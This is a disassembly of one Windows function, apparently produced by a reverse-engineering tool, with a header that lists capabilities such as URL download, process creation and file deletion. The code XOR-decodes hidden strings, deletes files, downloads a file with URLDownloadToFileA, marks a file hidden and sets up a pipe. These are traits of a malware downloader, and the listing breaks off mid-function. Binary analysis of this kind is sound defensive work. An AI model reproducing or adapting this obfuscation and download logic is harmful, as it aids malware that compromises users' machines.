Function at 0x1400661b0
Capabilities:
Authenticate hmac
Check if file exists
Create pipe
Create process on windows
Delete file
Download url
Get file attributes
Receive data
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
xor edi, edi
mov dword [rbp + 0x310], edi
movdqa xmm1, xmmword [0x140112a70]
movdqu xmmword [rbp - 0x7c], xmm1
movdqa xmm2, xmmword [0x140112aa0]
movdqu xmmword [rbp - 0x6c], xmm2
mov dl, 0x40
mov r8b, 0x5d
mov r9b, 9
mov r10b, 7
movzx r11d, r10b
movzx ebx, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x7b], al
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x6c], al
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
xor byte [rbp - 0x69], cl
xor byte [rbp - 0x68], cl
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor dl, cl
mov byte [rbp - 0x5c], dl
xor r8b, cl
mov byte [rbp - 0x5b], r8b
xor r9b, cl
mov byte [rbp - 0x5a], r9b
xor r10b, cl
mov byte [rbp - 0x59], r10b
xor r11b, cl
mov byte [rbp - 0x58], r11b
xor bl, cl
mov byte [rbp - 0x57], bl
mov byte [rbp - 0x56], dil
mov ecx, edi
lea r13, [0x14075f770]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x7b]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400662c0
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], edi
mov dword [0x14075fe8c], edi
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], edi
lea rax, [0x14010706a]
mov qword [0x14075f768], rax
call fcn.140051580
mov qword [rbp + 0x310], 1
lea rcx, [rbp + 0x310]
call fcn.1400718b0
movdqa xmm1, xmmword [0x140112830]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1401127a0]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140112d10]
movdqu xmmword [rsp + 0x70], xmm3
mov dl, reloc.WLDAP32.dll_Ordinal_45
mov r8b, Ordinal_50
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
xor dl, cl
mov byte [rbp - 0x80], dl
xor r8b, cl
mov byte [rbp - 0x7f], r8b
xor r9b, cl
mov byte [rbp - 0x7e], r9b
mov byte [rbp - 0x7d], dil
lea rax, [rsp + 0x51]
mov qword [rbp - 0x30], rax
movdqa xmm1, xmmword [0x140112ce0]
movdqu xmmword [rbp - 0x10], xmm1
movdqa xmm2, xmmword [0x140112cb0]
movdqu xmmword [rbp], xmm2
mov cl, 0x71
mov r8b, 0x60
mov r9b, 0x78
mov r10b, 0x79
mov r11b, reloc.WS2_32.dll_WSAStartup
mov bl, 0x63
mov dil, 0x3e
mov sil, 0x75
mov r14b, 0x68
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp - 0xf], al
xor byte [rbp - 0xe], dl
xor byte [rbp - 0xd], dl
xor byte [rbp - 0xc], dl
xor byte [rbp - 0xb], dl
xor byte [rbp - 0xa], dl
xor byte [rbp - 9], dl
xor byte [rbp - 8], dl
xor byte [rbp - 7], dl
xor byte [rbp - 6], dl
xor byte [rbp - 5], dl
xor byte [rbp - 4], dl
xor byte [rbp - 3], dl
xor byte [rbp - 2], dl
xor byte [rbp - 1], dl
movd eax, xmm2
xor al, dl
mov byte [rbp], al
xor byte [rbp + 1], dl
xor byte [rbp + 2], dl
xor byte [rbp + 3], dl
xor byte [rbp + 4], dl
xor byte [rbp + 5], dl
xor byte [rbp + 6], dl
xor byte [rbp + 7], dl
xor byte [rbp + 8], dl
xor byte [rbp + 9], dl
xor byte [rbp + 0xa], dl
xor byte [rbp + 0xb], dl
xor byte [rbp + 0xc], dl
xor byte [rbp + 0xd], dl
xor byte [rbp + 0xe], dl
xor byte [rbp + 0xf], dl
xor cl, dl
mov byte [rbp + 0x10], cl
xor r8b, dl
mov byte [rbp + 0x11], r8b
xor r9b, dl
mov byte [rbp + 0x12], r9b
xor r10b, dl
mov byte [rbp + 0x13], r10b
xor r11b, dl
mov byte [rbp + 0x14], r11b
xor bl, dl
mov byte [rbp + 0x15], bl
xor dil, dl
mov byte [rbp + 0x16], dil
xor sil, dl
mov byte [rbp + 0x17], sil
xor r14b, dl
mov byte [rbp + 0x18], r14b
xor r15b, dl
mov byte [rbp + 0x19], r15b
mov byte [rbp + 0x1a], 0
lea rax, [rbp - 0xf]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x48], rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x48]
call fcn.140069410
nop
mov r15, qword [rbp + 0x48]
mov rbx, r15
mov rsi, qword [rbp + 0x50]
cmp r15, rsi
je 0x1400665a7
nop dword [rax]
mov rdi, qword [rbx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14006659e
test al, 0x10
jne 0x14006659e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
add rbx, 8
cmp rbx, rsi
jne 0x140066580
movdqa xmm1, xmmword [0x140112750]
movdqu xmmword [rbp - 0x7c], xmm1
movdqa xmm2, xmmword [0x140112600]
movdqu xmmword [rbp - 0x6c], xmm2
mov dl, 4
mov r8b, reloc.WLDAP32.dll_Ordinal_46
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x7b], al
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x6c], al
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
xor byte [rbp - 0x69], cl
xor byte [rbp - 0x68], cl
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor dl, cl
mov byte [rbp - 0x5c], dl
xor r8b, cl
mov byte [rbp - 0x5b], r8b
mov byte [rbp - 0x5a], 0
lea rdx, [rbp - 0x7b]
lea rcx, [rbp + 0x20]
call fcn.140050ae0
nop
mov byte [rbp + 0x310], WSAStartup
mov al, 0x5c
mov cl, 0x5e
movzx edx, cl
xor r8d, r8d
xor al, 0x6e
mov byte [rbp + 0x311], al
xor cl, 0x6e
mov byte [rbp + 0x312], cl
xor dl, 0x6e
mov byte [rbp + 0x313], dl
mov byte [rbp + 0x314], r8b
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_35
mov al, 0x50
mov cl, 0x57
mov dl, 0x42
movzx r8d, cl
mov r9b, 0x56
movzx r10d, al
mov r11b, 0x7c
mov bl, 0x40
mov dil, 0x4c
mov sil, 0x47
mov r14b, 0x46
xor r12d, r12d
xor al, 0x23
mov byte [rbp - 0x2f], al
xor cl, 0x23
mov byte [rbp - 0x2e], cl
xor dl, 0x23
mov byte [rbp - 0x2d], dl
xor r8b, 0x23
mov byte [rbp - 0x2c], r8b
xor r9b, 0x23
mov byte [rbp - 0x2b], r9b
xor r10b, 0x23
mov byte [rbp - 0x2a], r10b
xor r11b, 0x23
mov byte [rbp - 0x29], r11b
xor bl, 0x23
mov byte [rbp - 0x28], bl
xor dil, 0x23
mov byte [rbp - 0x27], dil
xor sil, 0x23
mov byte [rbp - 0x26], sil
xor r14b, 0x23
mov byte [rbp - 0x25], r14b
mov byte [rbp - 0x24], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea rax, [rbp - 0x2f]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140066722
lea rdx, [rbp - 0x2f]
lea rcx, [rbp - 0x10]
call fcn.140073520
nop
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x20]
call fcn.140072460
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp + 0x311]
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140066760
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140066777
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140066790
lea rdx, [rbp + 0x311]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140066790
xor bl, bl
jmp 0x140066792
mov bl, 1
lea rcx, [rbp - 0x10]
call fcn.140049850
test bl, bl
je 0x140066911
movdqa xmm1, xmmword [0x1401125a0]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112530]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x1401126e0]
movdqu xmmword [rsp + 0x70], xmm3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
mov byte [rbp - 0x80], 0
xor r12d, r12d
mov ecx, r12d
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x51]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400668c0
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea rax, [0x14010e5a0]
mov qword [0x14075f768], rax
jmp 0x14006753c
movdqa xmm1, xmmword [0x140112900]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112790]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x2a
mov r8b, Ordinal_60
mov r9b, reloc.WLDAP32.dll_Ordinal_35
mov r10b, Ordinal_35
mov r11b, Ordinal_41
mov bl, gethostname
mov dil, 0x65
mov sil, reloc.WLDAP32.dll_Ordinal_46
mov r14b, 0x33
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov byte [rbp + 0x310], WSAStartup
mov al, 6
mov cl, reloc.WS2_32.dll_socket
mov dl, 0xa
movzx r8d, al
xor r9d, r9d
xor al, 0x72
mov byte [rbp + 0x311], al
xor cl, 0x72
mov byte [rbp + 0x312], cl
xor dl, 0x72
mov byte [rbp + 0x313], dl
xor r8b, 0x72
mov byte [rbp + 0x314], r8b
mov byte [rbp + 0x315], r9b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp + 0x311]
inc r12
cmp byte [rax + r12], r9b
jne 0x140066a86
mov r8, r12
lea rdx, [rbp + 0x311]
lea rcx, [rbp - 0x30]
call fcn.140073520
nop
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x20]
call fcn.140072460
mov rdx, qword [rax]
add rdx, 0x40
cmp qword [rdx + 0x18], 0xf
jbe 0x140066ac5
mov rdx, qword [rdx]
xor r12d, r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x51]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140066b1d
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066b18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066b18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ed628
test ebx, ebx
je 0x140066bf3
mov edx, 1
lea rcx, [rbp + 0xd0]
call fcn.14006ac50
nop
mov byte [rbp - 0x30], 0x5e
mov al, Ordinal_60
mov cl, Ordinal_45
movzx edx, cl
mov r8b, Ordinal_50
movzx r9d, cl
mov r10b, 0x7e
mov r11b, WSAGetLastError
mov bl, 0x26
xor edi, edi
xor al, 0x5e
mov byte [rbp - 0x2f], al
xor cl, 0x5e
mov byte [rbp - 0x2e], cl
xor dl, 0x5e
mov byte [rbp - 0x2d], dl
xor r8b, 0x5e
mov byte [rbp - 0x2c], r8b
xor r9b, 0x5e
mov byte [rbp - 0x2b], r9b
xor r10b, 0x5e
mov byte [rbp - 0x2a], r10b
xor r11b, 0x5e
mov byte [rbp - 0x29], r11b
xor bl, 0x5e
mov byte [rbp - 0x28], bl
mov byte [rbp - 0x27], dil
lea rdx, [rbp - 0x2f]
lea rcx, [rbp + 0xe0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xd0]
call fcn.14006abd0
mov rcx, rax
call fcn.140049830
mov rcx, rax
lea r8, [0x14010e5a0]
lea rdx, [0x14010e59c]
call fcn.14004e590
lea rcx, [rbp - 0x50]
call fcn.140049840
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
movdqa xmm1, xmmword [0x140112560]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [str.7_a_]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x33
mov r8b, Ordinal_35
mov r9b, Ordinal_60
mov r10b, Ordinal_60
mov r11b, Ordinal_50
mov bl, reloc.WLDAP32.dll_Ordinal_33
mov dil, 0x7c
mov sil, gethostname
mov r14b, 0x2a
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov edx, 2
lea rcx, [rsp + 0x51]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x140066d2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rax, [0x140111b50]
mov qword [rbp + 0x1d0], rax
lea rax, [0x140111300]
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x268]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x310], 1
xor r8d, r8d
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1cc], edx
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x250], r12
mov dword [rbp + 0x258], r12d
movdqa xmm1, xmmword [0x140112e50]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112e30]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x79
mov dl, 0x68
mov r9b, reloc.WS2_32.dll_WSASetLastError
mov r10b, WSAStartup
mov r11b, 0x7b
mov bl, 0x6b
mov dil, 0x36
mov sil, 0x7d
mov r14b, 0x60
movzx r15d, sil
mov r12b, gethostname
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], r8b
xor byte [rsp + 0x53], r8b
xor byte [rsp + 0x54], r8b
xor byte [rsp + 0x55], r8b
xor byte [rsp + 0x56], r8b
xor byte [rsp + 0x57], r8b
xor byte [rsp + 0x58], r8b
xor byte [rsp + 0x59], r8b
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
xor byte [rsp + 0x68], r8b
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor cl, r8b
mov byte [rsp + 0x70], cl
xor dl, r8b
mov byte [rsp + 0x71], dl
xor r9b, r8b
mov byte [rsp + 0x72], r9b
xor r10b, r8b
mov byte [rsp + 0x73], r10b
xor r11b, r8b
mov byte [rsp + 0x74], r11b
xor bl, r8b
mov byte [rsp + 0x75], bl
xor dil, r8b
mov byte [rsp + 0x76], dil
xor sil, r8b
mov byte [rsp + 0x77], sil
xor r14b, r8b
mov byte [rsp + 0x78], r14b
xor r15b, r8b
mov byte [rsp + 0x79], r15b
xor r12b, r8b
mov byte [rsp + 0x7a], r12b
mov byte [rsp + 0x7b], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x1e0]
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f900]
call fcn.140071310
mov byte [rbp + 0x310], WSAGetLastError
mov cl, 0x4c
xor edx, edx
xor cl, 0x6c
mov byte [rbp + 0x311], cl
mov byte [rbp + 0x312], dl
lea rdx, [rbp + 0x311]
mov rcx, rax
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f880]
call fcn.140071310
movdqa xmm1, xmmword [0x1401120f0]
movdqu xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp - 0x2f], cl
xor byte [rbp - 0x2e], dl
xor byte [rbp - 0x2d], dl
xor byte [rbp - 0x2c], dl
xor byte [rbp - 0x2b], dl
xor byte [rbp - 0x2a], dl
xor byte [rbp - 0x29], dl
xor byte [rbp - 0x28], dl
xor byte [rbp - 0x27], dl
xor byte [rbp - 0x26], dl
xor byte [rbp - 0x25], dl
xor byte [rbp - 0x24], dl
xor byte [rbp - 0x23], dl
xor byte [rbp - 0x22], dl
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x2f]
mov rcx, rax
call fcn.140071310
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x60], xmm1
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x90], xmm1
movups xmmword [rbp + 0xa0], xmm1
movups xmmword [rbp + 0xb0], xmm1
mov qword [rbp + 0xc0], rax
mov dword [rbp - 0x10], Ordinal_26
xor r12d, r12d
mov qword [rbp - 8], r12
mov dword [rbp], 1
xor r9d, r9d
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea r14, [0x14010e5a0]
test eax, eax
jne 0x14006717e
movdqa xmm1, xmmword [0x140112380]
movdqu xmmword [rbp - 0x50], xmm1
mov cl, 0x57
mov dl, reloc.WS2_32.dll_sendto
mov r8b, 5
mov r10b, reloc.WS2_32.dll_select
mov r11b, reloc.WLDAP32.dll_Ordinal_22
mov bl, 3
movzx edi, r10b
movzx esi, cl
mov r14b, 7
mov r15b, reloc.WLDAP32.dll_Ordinal_30
movzx r12d, r14b
movzx r13d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp - 0x4f], al
xor byte [rbp - 0x4e], r9b
xor byte [rbp - 0x4d], r9b
xor byte [rbp - 0x4c], r9b
xor byte [rbp - 0x4b], r9b
xor byte [rbp - 0x4a], r9b
xor byte [rbp - 0x49], r9b
xor byte [rbp - 0x48], r9b
xor byte [rbp - 0x47], r9b
xor byte [rbp - 0x46], r9b
xor byte [rbp - 0x45], r9b
xor byte [rbp - 0x44], r9b
xor byte [rbp - 0x43], r9b
xor byte [rbp - 0x42], r9b
xor byte [rbp - 0x41], r9b
xor cl, r9b
mov byte [rbp - 0x40], cl
xor dl, r9b
mov byte [rbp - 0x3f], dl
xor r8b, r9b
mov byte [rbp - 0x3e], r8b
xor r10b, r9b
